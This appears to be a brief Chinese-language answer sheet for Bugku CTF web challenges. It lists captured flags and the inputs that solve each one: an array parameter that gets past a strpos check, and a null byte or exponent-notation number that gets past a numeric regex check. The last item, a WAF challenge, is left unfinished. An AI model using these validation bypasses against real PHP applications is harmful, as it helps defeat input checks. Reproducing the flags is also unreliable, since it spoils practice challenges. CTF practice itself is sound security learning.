flag{bugku-dm-sj-a12JH8}

strpos数组绕过

http://123.206.87.240:9009/15.php?ctf[]=#biubiubiu

flag{Bugku-D-M-S-J572}

数字验证正则绕过

http://123.206.87.240:9009/21.php

post内容：password=%00

或者password=42.0e%2b00000

flag{Bugku_preg_match}

简单的waf

待续